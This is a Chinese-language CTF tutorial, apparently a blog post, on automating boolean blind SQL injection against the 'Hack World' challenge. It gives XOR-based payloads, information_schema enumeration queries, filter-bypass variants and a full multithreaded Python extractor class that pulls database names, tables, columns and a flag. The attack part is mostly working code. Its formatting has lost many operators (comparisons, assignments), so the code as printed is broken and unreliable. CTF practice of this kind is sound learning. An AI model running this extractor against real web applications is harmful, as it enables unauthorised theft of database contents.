别再硬跑sqlmap了!像解Hack World一样,用Python脚本自动化你的CTF盲注 用Python脚本破解CTF中的布尔盲注从Hack World到实战自动化在CTF竞赛中SQL注入类题目往往是最常见的题型之一。但当遇到像Hack World这样过滤严格、传统工具失效的题目时许多选手会陷入困境。本文将带你从零开始用Python构建一个轻量级的自动化脚本解决这类布尔盲注难题。1. 理解布尔盲注的本质布尔盲注是一种特殊的SQL注入技术当Web应用不会直接返回数据库错误信息但会根据SQL语句的真假返回不同页面内容时使用。在Hack World题目中我们发现通过异或运算可以构造出真/假两种不同响应0^(11) → 返回Hello消息 0^(12) → 返回其他内容这种差异成为我们判断条件真假的依据。理解这一点后我们可以设计一个自动化流程确定注入点如Hack World中的id参数构造真/假测试payload确认响应差异设计信息提取算法如二分查找自动化猜解数据库信息2. 构建基础请求框架任何自动化脚本都需要一个可靠的HTTP请求基础。我们使用Python的requests库import requests TARGET_URL http://example.com/hackworld.php TRUE_RESPONSE Hello, glzjin wants a girlfriend. def send_payload(payload): params {id: payload} r requests.post(TARGET_URL, dataparams) return TRUE_RESPONSE in r.text这个基础框架实现了目标URL配置真值响应识别自动发送payload并返回布尔结果3. 实现二分查找算法传统逐字符暴力猜解效率极低。我们采用二分查找算法大幅提升效率def binary_search(query_template, lengthNone): result # 先确定长度如果需要 if length is None: length find_length(query_template) # 对每个字符位置进行二分查找 for pos in range(1, length1): low, high 32, 126 while low high: mid (low high) // 2 payload query_template.format(pos, mid) if send_payload(payload): low mid 1 else: high mid - 1 result chr(high) return result def find_length(query_template): # 查找长度的二分实现 low, high 1, 100 while low high: mid (low high) // 2 payload query_template.replace({}, f1,1)){mid} if send_payload(payload): low mid 1 else: high mid - 1 return high这个核心算法可以自动确定目标字符串长度对每个字符位置进行ASCII值二分查找返回完整的猜解结果4. 实战应用从数据库名到flag有了基础框架我们可以系统性地提取信息4.1 获取数据库名# 猜解当前数据库名长度 db_len_query 0^(length(database()){}) db_length find_length(db_len_query) # 猜解数据库名 db_name_query 0^(ascii(substr(database(),{},1)){}) database_name binary_search(db_name_query, db_length) print(f[] Database name: {database_name})4.2 获取表名和列名# 猜解表名 table_query 0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schemadatabase())),{},1)){}) tables binary_search(table_query) print(f[] Tables: {tables}) # 猜解列名 column_query 0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_nameflag)),{},1)){}) columns binary_search(column_query) print(f[] Columns: {columns})4.3 最终获取flag# 直接获取flag值 flag_query 0^(ascii(substr((select(flag)from(flag)),{},1)){}) flag binary_search(flag_query) print(f[] Flag: {flag})5. 高级优化技巧基础脚本可以工作后我们可以进行多项优化5.1 多线程加速from concurrent.futures import ThreadPoolExecutor def parallel_binary_search(query_template, length): result [None] * length def process_position(pos): # 原有的二分查找逻辑 # 将结果存入result[pos-1] with ThreadPoolExecutor(max_workers10) as executor: executor.map(process_position, range(1, length1)) return .join(result)5.2 错误处理和重试机制def robust_send_payload(payload, max_retry3): for _ in range(max_retry): try: return send_payload(payload) except Exception as e: print(fError: {e}, retrying...) time.sleep(1) raise Exception(Max retry exceeded)5.3 结果缓存import pickle from pathlib import Path CACHE_FILE injection_cache.pkl def load_cache(): if Path(CACHE_FILE).exists(): with open(CACHE_FILE, rb) as f: return pickle.load(f) return {} def save_cache(cache): with open(CACHE_FILE, wb) as f: pickle.dump(cache, f) # 使用缓存优化查找 cache load_cache() def cached_binary_search(query_template, length): cache_key f{query_template}_{length} if cache_key in cache: return cache[cache_key] result binary_search(query_template, length) cache[cache_key] result save_cache(cache) return result6. 完整脚本架构将上述组件整合我们得到一个完整的自动化盲注工具#!/usr/bin/env python3 import requests import time from concurrent.futures import ThreadPoolExecutor import pickle from pathlib import Path class BlindSQLiSolver: def __init__(self, target_url, true_indicator): self.target_url target_url self.true_indicator true_indicator self.session requests.Session() self.cache self._load_cache() def _send_request(self, payload): try: data {id: payload} r self.session.post(self.target_url, datadata, timeout10) return self.true_indicator in r.text except requests.RequestException as e: print(fRequest failed: {e}) return False def binary_search_char(self, query_template, position): low, high 32, 126 while low high: mid (low high) // 2 payload query_template.format(position, mid) # 检查缓存 cache_key f{payload} if cache_key in self.cache: is_true self.cache[cache_key] else: is_true self._send_request(payload) self.cache[cache_key] is_true self._save_cache() if is_true: low mid 1 else: high mid - 1 return chr(high) def extract_data(self, query_template, lengthNone): if length is None: length self._find_length(query_template) result [] with ThreadPoolExecutor(max_workers10) as executor: positions range(1, length1) results executor.map( lambda pos: self.binary_search_char(query_template, pos), positions ) result .join(results) return result def _find_length(self, query_template, max_len100): low, high 1, max_len while low high: mid (low high) // 2 payload query_template.replace({}, f1,1)){mid} if self._send_request(payload): low mid 1 else: high mid - 1 return high def _load_cache(self): cache_file injection_cache.pkl if Path(cache_file).exists(): with open(cache_file, rb) as f: return pickle.load(f) return {} def _save_cache(self): with open(injection_cache.pkl, wb) as f: pickle.dump(self.cache, f) if __name__ __main__: solver BlindSQLiSolver( http://example.com/hackworld.php, Hello, glzjin wants a girlfriend. ) # 获取数据库信息 db_name solver.extract_data(0^(ascii(substr(database(),{},1)){})) print(fDatabase: {db_name}) # 获取flag flag solver.extract_data(0^(ascii(substr((select(flag)from(flag)),{},1)){})) print(fFlag: {flag})这个完整实现包含了多线程并发处理请求结果缓存自动长度检测健壮的错误处理7. 应对不同过滤场景实际CTF题目可能有各种过滤规则我们的脚本需要相应调整7.1 关键字过滤绕过如果空格被过滤可以使用注释或括号# 原始payload 0^(ascii(substr(database(),1,1))100) # 绕过空格过滤 0^(ascii(substr(database()from(1)for(1)))100)7.2 异或符号过滤如果^被过滤可以使用其他布尔运算# 使用AND代替异或 (length(database())11)and(1)7.3 响应差异不明显有时真/假响应差异很微妙需要更精细的判断def _send_request(self, payload): data {id: payload} r self.session.post(self.target_url, datadata) # 多条件判断 if len(r.text) 1000: return True if specific keyword in r.text: return True return False在实际CTF比赛中这种自动化脚本可以节省大量时间特别是面对复杂过滤规则时。通过将手工测试流程脚本化你不仅能提高解题效率还能深入理解SQL注入的本质原理。